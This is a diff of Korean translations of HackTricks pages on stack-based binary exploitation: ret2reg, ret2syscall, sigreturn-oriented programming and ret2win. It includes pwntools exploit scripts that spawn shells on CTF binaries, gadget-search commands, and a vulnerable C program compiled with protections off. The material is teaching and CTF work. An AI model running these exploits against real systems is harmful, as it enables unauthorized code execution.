게다가 EIP 손상 이후에 셸코드를 배치할 수 있는 것은, 스택의 중간이 아닌, 함수의 작동 중에 실행되는 `push` 또는 `pop` 명령이 셸코드에 간섭하지 않도록 보장합니다. 셸코드가 함수의 스택 중간에 배치되면 이러한 간섭이 발생할 수 있습니다.
게다가 EIP 손상 이후에 셸코드를 배치할 수 있는 것은, 스택의 중간이 아닌, 함수의 작동 중에 실행되는 `push` 또는 `pop` 명령이 셸코드에 간섭하지 않도록 보장합니다. 셸코드가 함수의 스택 중간에 배치되었다면 이러한 간섭이 발생할 수 있습니다.
### 공간 부족
RIP를 덮어쓴 후에 쓸 공간이 부족한 경우(아마도 몇 바이트 정도), 초기 **`jmp`** 셸코드를 다음과 같이 작성하십시오:
RIP를 덮어쓴 후에 쓸 공간이 부족한 경우(아마도 몇 바이트 정도), 초기 **`jmp`** 셸코드를 다음과 같이 작성하세요:
```armasm
sub rsp, 0x30
jmp rsp
@ -41,7 +41,7 @@ pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
이 기술의 또 다른 예는 [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html)에서 볼 수 있습니다. NX가 활성화되지 않은 상태에서 버퍼 오버플로우가 발생하며, `$esp`의 주소를 **줄이기 위해 가젯이 사용되고** 그 다음 `jmp esp;`를 사용하여 셸코드로 점프합니다:
이 기술의 또 다른 예는 [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html)에서 볼 수 있습니다. NX가 활성화되지 않은 상태에서 버퍼 오버플로우가 발생하며, `$esp`의 주소를 **줄이기 위해 가젯이 사용**되고, 그 다음 `jmp esp;`를 사용하여 셸코드로 점프합니다:
```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
@ -78,7 +78,7 @@ target.interactive()
```
## Ret2reg
유사하게, 함수가 코드가 저장된 주소를 반환하는 경우, **`call eax`** 또는 **`jmp eax`** 명령어(일명 **ret2eax** 기법)를 활용하여 코드를 실행할 수 있는 또 다른 방법을 제공합니다. eax와 마찬가지로, **흥미로운 주소를 포함하는 다른 레지스터**도 사용할 수 있습니다 (**ret2reg**).
유사하게, 함수가 코드가 저장된 주소를 반환하는 경우, **`call eax`** 또는 **`jmp eax`** 명령어(일명 **ret2eax** 기법)를 활용하여 코드를 실행할 수 있는 또 다른 방법을 제공합니다. eax와 마찬가지로, **흥미로운 주소**를 포함하는 **다른 레지스터**도 사용할 수 있습니다 (**ret2reg**).
### 예시
@ -86,25 +86,25 @@ target.interactive()
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
- **`strcpy`**는 코드가 저장된 버퍼의 주소를 **`eax`**에 저장하고 **`eax`**는 덮어쓰이지 않으므로 `ret2eax`를 사용할 수 있습니다.
- **`strcpy`**는 코드가 저장된 버퍼의 주소를 **`eax`**에 저장하고 **`eax`**는 덮어쓰이지 않으므로, `ret2eax`를 사용할 수 있습니다.
## ARM64
### Ret2sp
ARM64에서는 **SP 레지스터로 점프할 수 있는** 명령어가 **없습니다**. **sp를 레지스터로 이동시키고 그 레지스터로 점프하는** 가젯을 찾는 것이 가능할 수 있지만, 내 Kali의 libc에서는 그런 가젯을 찾을 수 없었습니다:
ARM64에서는 **SP 레지스터로 점프하는** 명령어가 **없습니다**. SP를 레지스터로 이동시키고 그 레지스터로 점프하는 가젯을 찾는 것이 가능할 수 있지만, 내 Kali의 libc에서는 그런 가젯을 찾을 수 없었습니다:
```bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
```
내가 발견한 유일한 방법은 sp가 점프하기 전에 복사된 레지스트리의 값을 변경하는 것이었다(그래서 그것은 쓸모없게 된다):
내가 발견한 유일한 방법은 sp가 점프하기 전에 복사된 레지스트리의 값을 변경하는 것이었고 (그래서 그것은 쓸모없게 되었다):
<figure><img src="../../images/image (1224).png" alt=""><figcaption></figcaption></figure>
### Ret2reg
레지스트리에 흥미로운 주소가 있다면 적절한 명령어를 찾아서 그 주소로 점프할 수 있다. 다음과 같은 것을 사용할 수 있다:
레지스트리에 흥미로운 주소가 있다면 적절한 명령어를 찾아 점프하는 것이 가능하다. 다음과 같은 것을 사용할 수 있다:
```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```
@ -143,7 +143,7 @@ return 0;
<figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
이진 파일이 **PIE 없이 컴파일**되었기 때문에 해당 가젯을 점프하는 데 사용할 것입니다. 패턴을 사용하여 **버퍼 오버플로우의 오프셋이 80**임을 확인할 수 있으므로 익스플로잇은 다음과 같습니다:
이진 파일이 **PIE 없이** 컴파일되었기 때문에 해당 가젯을 점프하는 데 사용할 것입니다. 패턴을 사용하여 **버퍼 오버플로우의 오프셋이 80**임을 확인할 수 있으므로 익스플로잇은 다음과 같습니다:
```python
from pwn import *
@ -165,7 +165,7 @@ p.interactive()
## Protections
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): 스택이 실행 가능하지 않다면, 스택에 쉘코드를 배치하고 이를 실행하기 위해 점프해야 하므로 도움이 되지 않습니다.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): 이러한 보호는 esp 또는 다른 레지스터로 점프할 수 있는 명령어를 찾기 어렵게 만들 수 있습니다.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): 이는 esp 또는 다른 레지스터로 점프할 수 있는 명령어를 찾기 어렵게 만들 수 있습니다.
## References

View File

@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## 기본 정보
## Basic Information
이것은 Ret2lib와 유사하지만, 이 경우에는 라이브러리의 함수를 호출하지 않습니다. 이 경우, 모든 것이 `/bin/sh`를 실행하기 위해 `sys_execve` 시스템 호출을 호출하도록 준비됩니다. 이 기술은 일반적으로 정적으로 컴파일된 바이너리에서 수행되므로, 많은 가젯과 시스템 호출 명령어가 있을 수 있습니다.
@ -13,12 +13,12 @@
- `rsi: 0, 전달된 인수 없음 지정`
- `rdx: 0, 전달된 환경 변수 없음 지정`
따라서 기본적으로 문자열 `/bin/sh`를 어딘가에 작성한 다음 `syscall`을 수행해야 합니다(스택을 제어하기 위해 필요한 패딩을 인식해야 함). 이를 위해, 알려진 영역에 `/bin/sh`를 작성할 수 있는 가젯이 필요합니다.
따라서 기본적으로 문자열 `/bin/sh`를 어딘가에 작성한 다음 `syscall`을 수행해야 합니다 (스택을 제어하기 위해 필요한 패딩을 염두에 두어야 합니다). 이를 위해, `/bin/sh`를 알려진 영역에 쓰기 위한 가젯이 필요합니다.
> [!TIP]
> 호출할 또 다른 흥미로운 시스템 호출은 **`mprotect`**로, 이는 공격자가 **메모리의 페이지 권한을 수정할 수 있게** 합니다. 이는 [**ret2shellcode**](../../stack-overflow/stack-shellcode/)와 결합될 수 있습니다.
> 호출할 또 다른 흥미로운 시스템 호출은 **`mprotect`**로, 이는 공격자가 **메모리의 페이지 권한을 수정할 수 있게 해줍니다**. 이는 [**ret2shellcode**](../../stack-overflow/stack-shellcode/index.html)와 결합될 수 있습니다.
## 레지스터 가젯
## Register gadgets
**이 레지스터들을 제어하는 방법**을 찾는 것부터 시작합시다:
```bash
@ -28,9 +28,9 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
이 주소들을 사용하면 **스택에 내용을 쓰고 레지스터에 로드할 수 있습니다**.
이 주소들을 사용하면 **스택의 내용을 작성하고 레지스터에 로드할 수 있습니다**.
## 문자열 쓰기
## 문자열 작성
### 쓰기 가능한 메모리
@ -96,7 +96,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
## 부족한 가젯
만약 **가젯이 부족하다면**, 예를 들어 메모리에 `/bin/sh`를 쓰기 위해, 스택에서 모든 레지스터 값(RIP 및 파라미터 레지스터 포함)을 제어하기 위해 **SROP 기법을 사용할 수 있습니다**:
만약 **가젯이 부족하다면**, 예를 들어 메모리에 `/bin/sh`를 쓰기 위해, **스택에서 모든 레지스터 값을 제어하기 위해 SROP 기법을 사용할 수 있습니다** (RIP 및 파라미터 레지스터 포함):
{{#ref}}
../srop-sigreturn-oriented-programming/

View File

@ -4,7 +4,7 @@
## Basic Information
**`Sigreturn`**는 주로 신호 처리기가 실행을 완료한 후 정리하는 데 사용되는 특별한 **syscall**입니다. 신호는 운영 체제가 프로그램에 보내는 중단으로, 종종 예외적인 상황이 발생했음을 나타냅니다. 프로그램이 신호를 받으면, 신호를 처리하기 위해 **신호 처리기**라는 특별한 함수로 현재 작업을 일시적으로 중단합니다.
**`Sigreturn`**는 주로 신호 처리기가 실행을 완료한 후 정리하는 데 사용되는 특별한 **syscall**입니다. 신호는 운영 체제가 프로그램에 보내는 중단으로, 종종 예외적인 상황이 발생했음을 나타냅니다. 프로그램이 신호를 받으면, **신호 처리기**라는 신호를 처리하기 위해 설계된 특별한 함수로 신호를 처리하기 위해 현재 작업을 일시 중지합니다.
신호 처리기가 끝난 후, 프로그램은 아무 일도 없었던 것처럼 **이전 상태로 복귀**해야 합니다. 여기서 **`sigreturn`**이 작용합니다. 이는 프로그램이 **신호 처리기에서 반환**하고 신호 처리기에 의해 사용된 스택 프레임(함수 호출 및 지역 변수를 저장하는 메모리 섹션)을 정리하여 프로그램의 상태를 복원하는 데 도움을 줍니다.
@ -13,7 +13,7 @@
> [!CAUTION]
> ROP 체인에서 syscall **`sigreturn`**을 호출하고 **스택에 로드할 레지스터 값**을 추가함으로써 모든 레지스터 값을 **제어**할 수 있으며, 따라서 예를 들어 syscall `execve``/bin/sh`로 호출할 수 있습니다.
이것이 다른 Ret2syscall을 호출하기 위한 매개변수를 제어하는 데 훨씬 더 쉽게 만드는 **Ret2syscall의 한 유형**이라는 점에 유의하십시오:
이것이 다른 Ret2syscall을 호출하기 위한 매개변수를 제어하는 데 훨씬 더 쉽게 만드는 **Ret2syscall의 일종**이라는 점에 유의하십시오:
{{#ref}}
../rop-syscall-execv/
@ -55,7 +55,7 @@
| __reserved | sigmask |
+--------------------+--------------------+
```
더 나은 설명을 원하시면 다음도 확인하세요:
더 나은 설명을 위해 다음도 확인하세요:
{{#ref}}
https://youtu.be/ADULSwnQs-s?feature=shared
@ -63,7 +63,7 @@ https://youtu.be/ADULSwnQs-s?feature=shared
## 예시
[**여기에서 예시를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) 여기서 signeturn 호출이 ROP를 통해 구성됩니다(값 `0xf`를 rxa에 넣음), 비록 이것이 최종 익스플로잇입니다:
여기에서 ROP를 통해 signeturn 호출이 구성된 [**예시를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) (rxa에 값 `0xf` 넣음), 비록 이것이 최종 익스플로잇입니다:
```python
from pwn import *
@ -90,7 +90,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
여기서 [**익스플로잇을 확인하세요**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) 이진 파일이 이미 `sigreturn`을 호출하고 있으므로 **ROP**로 이를 구축할 필요가 없습니다.
여기서 [**익스플로잇을 확인하세요**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) 이진 파일이 이미 `sigreturn`을 호출하고 있으므로 **ROP**로 이를 구축할 필요가 없습니다:
```python
from pwn import *
@ -128,14 +128,14 @@ target.interactive()
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
- **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/)을 **sigreturn** 구조체를 통해 쓸 수 있으며, 바이너리의 메모리 안에 있는 플래그를 읽을 수 있다.
- **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/index.html)을 **sigreturn** 구조체를 통해 쓸 수 있으며, 바이너리의 메모리 안에 있는 플래그를 읽을 수 있습니다.
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
- **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/)을 **sigreturn** 구조체를 통해 쓸 수 있으며 (바이너리는 문자열 `/bin/sh`를 포함하고 있다).
- **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 호출하는 어셈블리 바이너리. 스택에 [**ret2syscall**](../rop-syscall-execv/index.html)을 **sigreturn** 구조체를 통해 쓸 수 있으며(바이너리는 문자열 `/bin/sh`를 포함하고 있습니다).
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64비트, relro 없음, canary 없음, nx, pie 없음. 가젯이 부족한 `gets` 함수를 악용한 간단한 버퍼 오버플로우로 [**ret2syscall**](../rop-syscall-execv/)을 수행한다. ROP 체인은 `/bin/sh``.bss`에 쓰고, 다시 `gets`를 호출하여 **`alarm`** 함수를 악용하여 eax를 `0xf`로 설정하고 **SROP**를 호출하여 셸을 실행한다.
- 64비트, no relro, no canary, nx, no pie. 가젯이 부족한 `gets` 함수를 악용한 간단한 버퍼 오버플로우로 [**ret2syscall**](../rop-syscall-execv/index.html)을 수행합니다. ROP 체인은 `/bin/sh``.bss`에 쓰고, 다시 `gets`를 호출하여 **`alarm`** 함수를 악용하여 eax를 `0xf`로 설정하여 **SROP**를 호출하고 셸을 실행합니다.
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- 64비트 어셈블리 프로그램, relro 없음, canary 없음, nx, pie 없음. 흐름은 스택에 쓰고 여러 레지스터를 제어하며 시스템 호출을 호출한 후 `exit`를 호출할 수 있게 다. 선택된 시스템 호출은 `sigreturn`으로, 레지스터를 설정하고 `eip`를 이전 시스템 호출 명령어를 호출하도록 이동시켜 `memprotect`를 실행하여 바이너리 공간을 `rwx`로 설정하고 ESP를 바이너리 공간에 설정다. 흐름을 따라 프로그램은 ESP에 다시 읽기를 호출하지만, 이 경우 ESP는 다음 명령어를 가리키게 되어 셸코드를 다음 명령어로 쓰고 실행하게 된다.
- 64비트 어셈블리 프로그램, no relro, no canary, nx, no pie. 흐름은 스택에 쓰고 여러 레지스터를 제어하며 시스템 호출을 호출한 후 `exit`를 호출할 수 있게 합니다. 선택된 시스템 호출은 `sigreturn`으로, 레지스터를 설정하고 `eip`를 이전 시스템 호출 명령어를 호출하도록 이동시켜 `memprotect`를 실행하여 바이너리 공간을 `rwx`로 설정하고 ESP를 바이너리 공간에 설정합니다. 흐름을 따라 프로그램은 ESP에 다시 읽기를 호출하지만, 이 경우 ESP는 다음 명령어를 가리키므로 셸코드를 전달하면 다음 명령어로 작성되고 실행됩니다.
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP는 셸코드가 배치된 위치에 실행 권한 (memprotect)을 부여하는 데 사용된다.
- SROP는 셸코드가 배치된 위치에 실행 권한(memprotect)을 부여하는 데 사용됩니다.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,13 +4,13 @@
## What is a Stack Overflow
A **stack overflow**는 프로그램이 할당된 것보다 더 많은 데이터를 스택에 기록할 때 발생하는 취약점입니다. 이 초과 데이터는 **인접한 메모리 공간을 덮어쓰게** 되어 유효한 데이터의 손상, 제어 흐름의 중단, 그리고 잠재적으로 악성 코드의 실행을 초래할 수 있습니다. 이 문제는 종종 입력에 대한 경계 검사를 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다.
A **stack overflow**는 프로그램이 할당된 것보다 더 많은 데이터를 스택에 기록할 때 발생하는 취약점입니다. 이 초과 데이터는 **인접한 메모리 공간을 덮어쓰게** 되어 유효한 데이터가 손상되고, 제어 흐름이 방해받으며, 잠재적으로 악성 코드가 실행될 수 있습니다. 이 문제는 종종 입력에 대한 경계 검사를 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다.
이 덮어쓰기의 주요 문제는 **저장된 명령 포인터 (EIP/RIP)**와 **저장된 기 포인터 (EBP/RBP)**가 이전 함수로 돌아가기 위해 **스택에 저장**되기 때문입니다. 따라서 공격자는 이를 덮어쓰고 **프로그램의 실행 흐름을 제어**할 수 있습니다.
이 덮어쓰기의 주요 문제는 **저장된 명령 포인터 (EIP/RIP)**와 **저장된 기 포인터 (EBP/RBP)**가 이전 함수로 돌아가기 위해 **스택에 저장**되기 때문입니다. 따라서 공격자는 이를 덮어쓰고 **프로그램의 실행 흐름을 제어**할 수 있습니다.
취약점은 일반적으로 함수가 **스택에 할당된 양보다 더 많은 바이트를 복사**하기 때문에 발생하여, 스택의 다른 부분을 덮어쓸 수 있게 됩니다.
취약점은 일반적으로 함수가 **스택에 할당된 양보다 더 많은 바이트를 복사할 때** 발생하여 스택의 다른 부분을 덮어쓸 수 있게 됩니다.
러한 취약점에 일반적으로 노출되는 함수는: **`strcpy`, `strcat`, `sprintf`, `gets`**... 또한 **`fgets`**, **`read` & `memcpy`**와 같이 **길이 인수**를 사용하는 함수는 지정된 길이가 할당된 것보다 클 경우 취약한 방식으로 사용될 수 있습니다.
와 같은 취약한 일반적인 함수는: **`strcpy`, `strcat`, `sprintf`, `gets`**... 또한 **`fgets`**, **`read` & `memcpy`**와 같이 **길이 인수**를 사용하는 함수는 지정된 길이가 할당된 것보다 클 경우 취약하게 사용될 수 있습니다.
예를 들어, 다음 함수들이 취약할 수 있습니다:
```c
@ -25,11 +25,11 @@ printf("You entered: %s\n", buffer);
스택 오버플로우를 찾는 가장 일반적인 방법은 매우 큰 `A` 입력을 주는 것입니다 (예: `python3 -c 'print("A"*1000)'`) 그리고 **주소 `0x41414141`에 접근하려고 시도했다는 것을 나타내는 `Segmentation Fault`**를 기대하는 것입니다.
게다가, 스택 오버플로우 취약점이 발견되면 **리턴 주소를 덮어쓸 수 있는 오프셋**을 찾아야 하며, 이를 위해 일반적으로 **De Bruijn 수열**이 사용됩니다. 주어진 크기 _k_의 알파벳과 길이 _n_의 부분 수열에 대해, **길이 \_n**\_\*\*모든 가능한 부분 수열이 **정확히 한 번** 연속 부분 수열로 나타나는 **순환 수열**입니다.
게다가, 스택 오버플로우 취약점이 발견되면 **리턴 주소를 덮어쓸 수 있는 오프셋**을 찾아야 하며, 이를 위해 일반적으로 **De Bruijn 시퀀스**가 사용됩니다. 주어진 크기 _k_의 알파벳과 길이 _n_의 부분 수열에 대해, **모든 가능한 길이 _n_의 부분 수열이 정확히 한 번** 연속 부분 수열로 나타나는 **순환 시퀀스**입니다.
이렇게 하면 EIP를 제어하는 데 필요한 오프셋을 수동으로 파악할 필요 없이 이러한 수열 중 하나를 패딩으로 사용하고, 그 후 덮어쓴 바이트의 오프셋을 찾을 수 있습니다.
이렇게 하면, EIP를 제어하는 데 필요한 오프셋을 수동으로 파악할 필요 없이 이러한 시퀀스 중 하나를 패딩으로 사용하고, 그 후 덮어쓴 바이트의 오프셋을 찾을 수 있습니다.
위해 **pwntools**를 사용할 수 있습니다:
작업을 위해 **pwntools**를 사용할 수 있습니다:
```python
from pwn import *
@ -50,14 +50,14 @@ pattern search $rsp #Search the offset given the content of $rsp
```
## 스택 오버플로우 악용
오버플로우가 발생하는 동안(오버플로우 크기가 충분히 큰 경우) **스택** 내의 지역 변수 값을 **덮어쓸** 수 있습니다. **EBP/RBP EIP/RIP(또는 그 이상)**에 도달할 때까지 가능합니다.\
오버플로우가 발생하는 동안(오버플로우 크기가 충분히 큰 경우) **스택** 내의 지역 변수 값을 **덮어쓸** 수 있습니다. **EBP/RBP EIP/RIP(또는 그 이상)**에 도달할 때까지 가능합니다.\
이러한 유형의 취약점을 악용하는 가장 일반적인 방법은 **반환 주소를 수정하는 것**입니다. 이렇게 하면 함수가 끝날 때 **제어 흐름이 사용자가 지정한 위치로 리디렉션됩니다**.
그러나 다른 시나리오에서는 **스택의 일부 변수 값을 덮어쓰는 것**만으로도 악용이 충분할 수 있습니다(예: 쉬운 CTF 챌린지).
그러나 다른 시나리오에서는 **스택의 일부 변수 값을 덮어쓰는 것**만으로도 악용이 충분할 수 있습니다(예: 쉬운 CTF 챌린지에서).
### Ret2win
이러한 유형의 CTF 챌린지에서는 **결코 호출되지 않는** **함수**가 **바이너리** 내에 있으며, **이 함수를 호출해야 승리**할 수 있습니다. 이러한 챌린지에서는 **반환 주소를 덮어쓸 오프셋**을 찾고 **호출할 함수의 주소**를 찾아야 합니다(보통 [**ASLR**](../common-binary-protections-and-bypasses/aslr/)이 비활성화되어 있음) 그래서 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다:
이러한 유형의 CTF 챌린지에서는 **결코 호출되지 않는** **함수**가 **바이너리 내부에** 있으며, **이 함수를 호출해야 승리**할 수 있습니다. 이러한 챌린지에서는 **반환 주소를 덮어쓸 오프셋**을 찾고 **호출할 함수의 주소**를 찾아야 합니다(일반적으로 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)가 비활성화됨) 그래서 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다:
{{#ref}}
ret2win/
@ -71,9 +71,9 @@ ret2win/
stack-shellcode/
{{#endref}}
### ROP & Ret2... 기술
### ROP Ret2... 기술
이 기술은 이전 기술의 주요 보호 장치를 우회하기 위한 기본 프레임워크입니다: **실행 불가능한 스택(NX)**. 그리고 이는 기존의 바이너리 명령어를 악용하여 임의의 명령을 실행하는 여러 다른 기술(ret2lib, ret2syscall...)을 수행할 수 있게 해줍니다:
이 기술은 이전 기술의 주요 보호 장치를 우회하기 위한 기본 프레임워크입니다: **실행 불가능한 스택(NX)**. 그리고 기존의 바이너리 명령어를 악용하여 임의의 명령을 실행하는 여러 다른 기술(ret2lib, ret2syscall...)을 수행할 수 있게 해줍니다:
{{#ref}}
../rop-return-oriented-programing/
@ -81,7 +81,7 @@ stack-shellcode/
## 힙 오버플로우
오버플로우 항상 스택에서 발생하는 것은 아니며, 예를 들어 **힙**에서도 발생할 수 있습니다:
오버플로우 항상 스택에서 발생하는 것은 아니며, 예를 들어 **힙**에서도 발생할 수 있습니다:
{{#ref}}
../libc-heap/heap-overflow.md

View File

@ -2,11 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
## 기본 정보
## Basic Information
**Ret2win** 챌린지는 **Capture The Flag (CTF)** 대회에서 인기 있는 카테고리로, 특히 **binary exploitation**과 관련된 작업에서 그렇습니다. 목표는 주어진 바이너리의 취약점을 이용하여 바이너리 내에서 특정 호출되지 않은 함수를 실행하는 것입니다. 이 함수는 보통 `win`, `flag`와 같은 이름을 가지고 있습니다. 이 함수가 실행되면 일반적으로 플래그나 성공 메시지를 출력합니다. 이 챌린지는 일반적으로 스택에서 **return address**를 덮어써서 실행 흐름을 원하는 함수로 전환하는 것을 포함합니다. 다음은 예제를 포함한 더 자세한 설명입니다:
### C 예제
### C Example
취약점이 있는 간단한 C 프로그램과 우리가 호출하려는 `win` 함수가 있다고 가정해 보겠습니다:
```c
@ -27,7 +27,7 @@ vulnerable_function();
return 0;
}
```
이 프로그램을 스택 보호 없이 **ASLR**을 비활성화하여 컴파일하려면 다음 명령어를 사용할 수 있습니다:
이 프로그램을 스택 보호 없이 **ASLR**이 비활성화된 상태로 컴파일하려면 다음 명령어를 사용할 수 있습니다:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
@ -35,9 +35,9 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
- `-fno-stack-protector`: 스택 오버플로우에 대한 보호를 비활성화합니다.
- `-z execstack`: 스택에서 코드 실행을 허용합니다.
- `-no-pie`: 위치 독립 실행 파일을 비활성화하여 `win` 함수의 주소가 변경되지 않도록 합니다.
- `-o vulnerable`: 출력 파일 이름을 `vulnerable`정합니다.
- `-o vulnerable`: 출력 파일 이름을 `vulnerable`정합니다.
### Pwntools를 이용한 Python 익스플로잇
### Python Exploit using Pwntools
익스플로잇을 위해 **pwntools**를 사용할 것입니다. 이는 익스플로잇 작성을 위한 강력한 CTF 프레임워크입니다. 익스플로잇 스크립트는 버퍼를 오버플로우하고 반환 주소를 `win` 함수의 주소로 덮어쓰는 페이로드를 생성합니다.
```python
@ -67,18 +67,18 @@ objdump -d vulnerable | grep win
Python 스크립트는 정교하게 제작된 메시지를 전송하여, `vulnerable_function`에 의해 처리될 때 버퍼가 오버플로우되고 스택의 반환 주소가 `win`의 주소로 덮어씌워집니다. `vulnerable_function`이 반환될 때, `main`으로 반환하거나 종료하는 대신 `win`으로 점프하고 메시지가 출력됩니다.
## 보호 조치
## Protections
- [**PIE**](../../common-binary-protections-and-bypasses/pie/) **비활성화되어야** 주소가 실행 간에 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며, `win` 함수가 로드된 위치를 파악하기 위해 어떤 누출이 필요합니다. 오버플로우를 유발하는 함수가 `read` 또는 유사한 경우, 반환 주소를 `win` 함수로 변경하기 위해 1 또는 2 바이트의 **부분 덮어쓰기**를 수행할 수 있습니다. ASLR의 작동 방식 때문에 마지막 세 개의 16진수 니블은 무작위화되지 않으므로, 올바른 반환 주소를 얻을 확률은 **1/16** (1 니블)입니다.
- [**스택 카나리**](../../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라지지 않을 것입니다.
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **비활성화되어야** 주소가 실행 간에 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며, `win` 함수가 로드된 위치를 파악하기 위해 어떤 leak이 필요합니다. 오버플로우를 유발하는 함수가 `read` 또는 유사한 경우, 반환 주소를 `win` 함수로 변경하기 위해 1 또는 2 바이트의 **부분 덮어쓰기**를 할 수 있습니다. ASLR의 작동 방식 때문에 마지막 세 개의 16진수 니블은 무작위화되지 않으므로, 올바른 반환 주소를 얻을 확률은 **1/16** (1 니블)입니다.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) 또한 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따르지 않을 것입니다.
## 기타 예제 및 참조
## Other examples & References
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
- [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
- 32비트, ASLR 없음
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
- ASLR가 있는 64비트, 바이너리 주소의 누출 포함
- ASLR가 있는 64비트, bin 주소의 leak 포함
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64비트, ASLR 없음
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
@ -86,19 +86,19 @@ Python 스크립트는 정교하게 제작된 메시지를 전송하여, `vulner
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32비트, relro, 카나리 없음, nx, pie 없음, `fflush` 주소를 `win` 함수로 덮어쓰는 포맷 문자열 (ret2win)
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
- 32비트, nx, 다른 것 없음, `win` 함수를 호출하기 위한 EIP의 부분 덮어쓰기 (1Byte)
- 32비트, nx, 그 외 없음, `win` 함수를 호출하기 위한 EIP의 부분 덮어쓰기 (1Byte)
